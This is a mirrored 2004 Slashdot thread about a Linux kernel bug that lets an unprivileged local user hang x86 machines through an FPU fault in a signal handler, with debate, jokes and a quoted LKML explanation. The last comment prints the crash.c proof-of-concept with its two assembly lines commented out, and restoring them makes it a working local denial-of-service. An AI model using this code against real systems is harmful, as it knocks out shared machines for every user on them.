Slashdot Mirror

← Back to Stories (view on slashdot.org)

New Linux Kernel Crash-Exploit discovered

Posted by Hemos on from the must-fix-quickly dept.

Ant writes " According to linuxreviews article's on 6/11/2004, there is a nasty bug that lets a simple C program crash the kernel (2.4.18-2.6.x reported so far), effectively locking the whole system. Affects both 2.4.2x and 2.6.x kernels on the x86 architecture. This exploit can be compiled and run without a root access and with a shell access. There are detailed information and source code mentioned. " You need to have shell access to run this program; it's also worth noting that not *all* flavors are vulnerable. Please read article for the full details.

27 of 691 comments (clear)

  1. There's a big difference... by Allen+Zadr · · Score: 5, Insightful
    Here is a perfect example of the difference between the Open Source way and a proprietary way.

    There are goods and bads, however, the information is readily available. There are patches that "work", even before a full explanation is available. Now, thousands of people are actively working on a solution, if they so choose. If they don't choose, they can use the proprietary code method - wait for the official vendors to release a patch.

    In proprietary land, a vendor would first sue the person who released the information. Then, the re-iteration that you won't be vulnerable if you use a "properly configured firewall," then they'd start working on a fix.

    --
    Kinetic stupidity has a new brand leader: Allen Zadr.
    1. Re:There's a big difference... by Donny+Smith · · Score: 5, Insightful

      >Windows users don't tend to care.

      Or "Windows users tend not to care?"

      Incidentally currently I'm a (primarily) Windows user and I do patch (actually it's "install updates") when Windows tells me they're ready (if I estimate I need the particular update).

      Claiming that Windows users "don't care" just because they're Windows users is incorrect, to say the least.
      How can people mod that as insightful? Generalization like that should be discouraged as it is not constructive, but some actually reward it... Quite puzzling to me..

    2. Re:There's a big difference... by Rectum2003 · · Score: 5, Insightful

      What he is saying is that most Windows users are the masses that don't actually care. Other OSes don't have this problem due to the fact that they are mostly used by geeks that understand why it is so important to update your OS (any OS for that matter). Not to say that there are not millions of consciencious users (like you) who actually have a clue and know how to secure and patch a Windows machine, of course.

    3. Re:There's a big difference... by Len+Budney · · Score: 5, Funny
      I love how "properly configured firewall" is the solution to everything. Hackers root your box? You didn't have a properly configured firewall. System eaten by a worm? You should have had a properly configured firewall. Your windows box zombified and sending out spam? Seriously consider investing in a properly configured firewall.

      I've come up with the final word in firewall technology. What I do is connect my PC to the DSL router with a 10' ethernet cable. Then, using an approved tool, I carefully cut the cable, making sure to sever it completely. Haven't had a problem since.

      What we really need is an article suggesting how I can speed up my downloads...

    4. Re:There's a big difference... by Allen+Zadr · · Score: 5, Informative
      A well patched system, Linux or Windows, doesn't need a firewall.

      "WHAT YOU SAY!?"

      I run a corporate network without a firewall. Every time a major issue comes around and destroys every freaking company around me, I go by with maybe two systems effected. Why? I stay up-to-date on all patches, and I keep relatively SANE security policies in place.

      A firewall is a lot less necessary than firewall vendors would have you believe. My experience is that firewalls breed a false sense of security. Someone goes home over the weekend with a laptop - and comes back with a zombie virus/worm/etc. that goes and infects everything while the IT department is "taking their time" evaluating a security update for a month (I do 24 hour tests).

      Why not firewall, is the other thing I hear. Mostly, it's so that every one of my systems can be an internet service provider. That's what the internet is about. Enabling users to say, hey - I've got that file right here on my local FTP, come get it. Here, log onto my VNC desktop, and I'll show you.

      Firewalls create industries like WebEx. Because technology has come from 'wow, I didn't know you could do that,' to, 'I didn't know you could do that because I'm firewalled.'

      Finally, "It doesn't happen very often," quite clearly means that it has happened. Call it pre-teen style bitching if you will, but a lawsuit should have never been threatened (AFAIK, a lawsuit never actually went to court). Is someone finds a vulnerability, full disclosure should not be the only method to have Microsoft take you seriously. My teen years are LONG behind me, maybe I'm just sick of having to deal with Microsoft's crap since Windows for Workgroups 3.11 (when the problems started for me).

      --
      Kinetic stupidity has a new brand leader: Allen Zadr.
    5. Re:There's a big difference... by Minwee · · Score: 5, Funny

      Of course you realise that by doing that you are violating several patents on "Air Gap Firewall Technology".

    6. Re:There's a big difference... by Anonymous Coward · · Score: 5, Insightful

      Now, if you are at a COMPANY and your system goes unpatched it's because the IT department there either doesn't believe the possible threat or does NOT care.

      dont play that game... 3 months before the big nasty worm that hit I was threatened with being fired because I patched all my systems with thew RPC hole patch... Not by my supervisor but by a bunch of jerks in corperate IT... after it hit and we were immune to the problems, did I hear an "I'm sorry?" or anything else? nope.. my boss bought me lunch that entire week and wrote a shining/gleaming letter to be put in my employment file... but corperate asshats refused to acknowlege that a nobody from the midwest division knew more than them.

      Most of the problems in companies that got nailed with the RPC hole worms was ignorance and apathy.. they do things "their way" and ignore anyone below them on the totem pole.. until the fire starts raging...

      My boss and many of us are starting to change corperate IT by throwing them under the bus at every chance.... It's the only solution we can see to fix the problem.

    7. Re:There's a big difference... by johnnyb · · Score: 5, Interesting

      I think that's because automatically patching is not the solution either. The problem is that many computer users want "easy" solutions to difficult problems. They would rather take an easy road that claims to work rather than one that actually solves the problem.

      My Dad is a perfect case-in-point. He's an upper-level manager of a company. He was telling me about a piece of software he was planning on purchasing. I asked him about security. His answer was, simply, that the salesperson said it was secure.

      There's two things wrong with this:

      1) He took the salesperson's word. In previous generations, people's words meant something. Trying to train them to think skeptically is difficult. In addition, by what yardstick would he, a non-technical manager, measure security? What's worse is that I've met his IT staff, and I wouldn't trust them to measure security, either.

      2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

      --
      Engineering and the Ultimate
    8. Re:There's a big difference... by maximilln · · Score: 5, Insightful

      2) He thinks that security is a yes/no option. Security is nothing like that. If someone were to be honest with him, and tell him that nothing is truely secure and it's all trade-offs, and then explain the trade-offs of their particular product, I'm sure he would have thought they were weaseling, when in fact they were telling the truth.

      AMEN!

      It's a problem that I run into quite often and not just with security. When you come to understand a topic intimately enough you learn that there is very little in the world that's a yes/no option. Everything requires a level of expertise and must be tailored to the specific task at hand. The issue is that the people requesting the services don't know, don't have time to learn, and don't want to learn. They want the yes/no answer to keep their life easy. If you're the person attempting to sell your services in order to keep food on the plate, however, you're faced with a dilemma: Say "yes" and possibly get mired in a situation which is impossible (secure a network full of users who are actively trying to break the network), or say "no" and don't get the job.

      --
      +++ATHZ 99:5:80
    9. Re:There's a big difference... by Odin's+Raven · · Score: 5, Funny
      I've come up with the final word in firewall technology. What I do is connect my PC to the DSL router with a 10' ethernet cable. Then, using an approved tool, I carefully cut the cable, making sure to sever it completely.

      This is a common mistake that many first-time security administrators make. You're supposed to cut the cable before making the PC/router connection -- always implement your security protocol before connecting equipment to the outside world.

      What we really need is an article suggesting how I can speed up my downloads...

      Your downloads are probably slow because your machine was compromised during the time when your security was down - i.e., the interval between connecting the unsecured cable and the time you properly locked the connection down. Slow downloads are a key sign of a compromised system.

      Once you suspect your machine's been compromised, there's really no safe solution other than reinstalling everything from scratch. I'd also suggest discarding the cable and getting a new one - since you didn't secure the cable first, there may be an RF resonance bug lurking on the PC half of the cable, waiting to reinfect your machine when you hook it back up.

      You're obviously new to this, so just in case you haven't heard about them - RF resonance bugs use the reflection characteristics of an Ethernet cable to create a self-reinforcing standing-wave signal containing a copy of the virus. Older versions of these bugs could be dealt with simply by putting the cable in a Faraday cage and grounding the cable. But several of the more current RF resonator bugs contain quantum-mechanical sideband waveforms - put one of those in a Faraday cage and the q-m sidebands can refractively propogate into the cage itself, and you'll spend the rest of the day chasing down heisenbugs.

      Anyways, don't feel bad about this - it's a common enough mistake when you're just getting started with security. And by posting on /. you may have helped several other novices avoid making the same mistake.

      --
      A marriage is always made up of two people who are prepared to swear that only the other one snores.
  2. The best way to avoid this bug by foidulus · · Score: 5, Funny

    is to buy a mac and run yellow dog on it!

    /ducks

  3. Wait, by Anonymous Coward · · Score: 5, Funny

    you want us to "read" the article and not jump headfirst into an open source vs. closed source flamewar??? :P

  4. In case of slashdotting by Anonymous Coward · · Score: 5, Funny

    #include <stdio.h>

    int main(void)
    {
    printf("I love Windows\n");
    return (0);
    }

  5. This is another reason why C should be deprecated by Anonymous Coward · · Score: 5, Funny

    Gentlemen, the time has come for a serious discussion on whether or not to continue using C for serious programming projects. As I will explain, I feel that C needs to be retired, much the same way that Fortran, Cobol and Perl have been. Furthermore, allow me to be so bold as to suggest a superior replacement to this outdated language.

    To give you a little background on this subject, I was recently asked to develop a client/server project on a Unix platform for a Fortune 500 company. While I've never coded in C before I have coded in VB for fifteen years, and in Java for over ten, I was stunned to see how poorly C fared compared to these two, more low-level languages.

    C's biggest difficulty, as we all know, is the fact that it is by far one of the slowest languages in existance, especially when compared to more modern languages such as Java and C#. Although the reasons for this are varied, the main reasons seems to be the way C requires a programmer to laboriously work with chunks of memory.

    Requiring a programmer to manipulate blocks of memory is a tedious way to program. This was satisfactory back in the early days of coding, but then again, so were punchcards. By using what are called "pointers" a C programmer is basically requiring the computer to do three sets of work rather than one. The first time requires the computer to duplicate whatever is stored in the memory space "pointed to" by the pointer. The second time requires it to perform the needed operation on this space. Finally the computer must delete the duplicate set and set the values of the original accordingly.

    Clearly this is a horrendous use of resources and the chief reason why C is so slow. When one looks at a more modern (and a more serious) programming language like Java, C# or - even better - Visual Basic that lacks such archaic coding styles, one will also note a serious speed increase over C.

    So what does this mean for the programming community? I think clearly that C needs to be abandonded. There are two candidates that would be a suitable replacement for it. Those are Java and Visual Basic.

    Having programmed in both for many years, I believe that VB has the edge. Not only is it slightly faster than Java its also much easier to code in. I found C to be confusing, frightening and intimidating with its non-GUI-based coding style. Furthermore, I like to see the source code of the projects I work with. Java's source seems to be under the monopolistic thumb of Sun much the way that GCC is obscured from us by the marketing people at the FSF. Microsoft's "shared source" under which Visual Basic is released definately seems to be the most fair and reasonable of all the licenses in existance, with none of the harsh restrictions of the BSD license. It also lacks the GPLs requirement that anything coded with its tools becomes property of the
    FSF.

    I hope to see a switch from C to VB very soon. I've already spoken with various luminaries in the C coding world and most are eager to begin to transition. Having just gotten off the phone with Mr. Alan Cox, I can say that he is quite thrilled with the speed increases that will occur when the Linux kernel is completely rewritten in Visual
    Basic. Richard Stallman plans to support this, and hopes that the great Swede himself, Linux Torvaldis, won't object to renaming Linux to VB/Linux. Although not a C coder himself, I'm told that Slashdot's very own Admiral Taco will support this on his web site. Finally,
    Dennis Ritchie is excited about the switch!

    Thank you for your time. Happy coding.

  6. Re:Open Source Community shows its Value by Anonymous Coward · · Score: 5, Funny
    It shouldn't be long before a patch is issued to resolve this problem. Thank goodness for caffene loving geeks everywhere!

    Let's just hope they're not browsing for pr0n.

  7. The problem appears to be... by Ayanami+Rei · · Score: 5, Informative

    ... that if you trigger a floating point exception inside a signal handler (specifically SIGALRM), the kernel doesn't handle it correctly, hanging the system. It appears to affect both SMP and UP kernels.

    Some questions I have to those who may have been following this:

    Does the crash occur without the syscalls in the signal handler/main process?
    Does the crash occur on SMP machines?
    Does the crash occur with other signals (PIPE, USR1, etc.)
    Does the crash occur on ppc, sparc, etc?

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
  8. Re: My Experience with the Linux by timotten · · Score: 5, Funny

    ...having programmed in VB for the last 8 years doing kernel level programming...

    I think you'll need to clarify that for us slashdot folk.

  9. Okay, I'm confused... by ThePatrioticFuck · · Score: 5, Funny

    I thought Monday's were supposed to be Windows patch days, Tuesdays were for Linux, Wednesday was Apache, Thursday was Windows again, Friday was SSH...

  10. You know you have problems if... by ulmanms · · Score: 5, Funny

    Your sysadmin needs this advice:
    If your system is a production server with 1000 on line users then do not test this code on that box.

  11. Re:Fixed quickly. by kaiidth · · Score: 5, Informative
    Patch is here on LKML. And of course it is on the original exploit page too.

    Here is the LKML discussion thread on the subject. It's an interesting bug, briefly summarised by Matt Mackall as follows:

    The example code's bogus
    asm is generating an FPU fault in frstor in its signal handler, that's
    bumping us into math_error -> force_sig_info ->
    specific_send_sig_info. Then we hit:

    if (LEGACY_QUEUE(&t->pending, sig))

    which decides we don't need to send the signal after all and we bail
    all the way back out and recurse.


    So there's a bit of a massive problem with FPU exception handling, which didn't come to light before. Wheee. Fun.
  12. I think we're forgetting one important thing.... by kalirion · · Score: 5, Funny

    How do we blame Micro$oft for this?

  13. Re:Fixed quickly. by kaiidth · · Score: 5, Interesting

    Mind you, at the risk of replying to myself it is worth noting that the patch currently available actually does nothing more meaningful than checking to see if the code that got you there is this exact exploit or not... so I would expect a better patch to be coming out that actually deals with the real problem, which appears to be that some poor munchkin started to write an FPU exception handler somewhere near version 2.3 and got distracted before finishing it. I assume though that the production of such a patch implies working out what the dude actually meant to do, first.

  14. Patch doesn't work for me, 2.4.26 by TDot · · Score: 5, Interesting

    I have a "very nearly vanilla" 2.4.26 kernel - all that's patched are some netfilter things for more targets. This patch didn't work for me - the patch went fine (my signal.c is no different from vanilla), and the resulting kernel booted fine, but the exploit still crashed my box. I'm using gcc-2.95.4 , Debian 3.0 (Woody). No I didn't forget to run lilo or whatever (i'm using Grub). Any ideas?

  15. Re:A good time to disable compiler access by PoochieReds · · Score: 5, Insightful

    This does no good if someone builds the program on another machine and then copies it to your host. Limiting compiler access really doesn't help secure anything unless you also prevent anyone from transferring any files to the machine (which is quite impractical).

  16. Re:A good time to disable compiler access by Sloppy · · Score: 5, Insightful
    Having a local compiler available makes things easier, but it doesn't give a user any fundamental powers that they wouldn't already have. They can get executable code into the system in other ways, even if they don't have a local compiler. Transfer it from another computer, or even manually enter it. Are you also going to disable cat and chmod?

    I don't think this idea is useful.

    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
  17. Re:This is the best they can come up with? by BenjyD · · Score: 5, Insightful

    This is a reasonably serious bug. A well-configured *nix box should not be crashable by anything a normal user can do. The amount of memory a user can allocate, the number of processes they can launch, the size and number of files they can create should all be limited through user limits. There is no way (AFICS) to prevent this bug being exploited through those kind of limits. If there are lots of people logged in, figuring out who crashed the box would be quite hard - just have the crashing program delete itself before it crashes the box.

    Hitting ctrl-alt-delete or the power requires physical access, which shell users almost never have (I don't even know where most of the computers I use every day are - they could be in Timbuktu for all I care).

  18. another way to fix the problem... by naken · · Score: 5, Funny


    #include
    #include
    #include

    static void Handler(int ignore)
    {
    char fpubuf[108]; // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
    write(2, "*", 1); // __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
    }

    int main(int argc, char *argv[])
    {
    struct itimerval spec;
    signal(SIGALRM, Handler);
    spec.it_interval.tv_sec=0;
    spec.it_interval.tv_usec=100;
    spec.it_value.tv_sec=0;
    spec.it_value.tv_usec=100;
    setitimer(ITIMER_REAL, &spec, NULL);
    while(1)
    write(1, ".", 1);

    return 0;
    }

    by simply commenting out the inline assembly, i fixed crash.c so it can no longer crash Linux!

    1 2 1 2 THE NAKEN CREW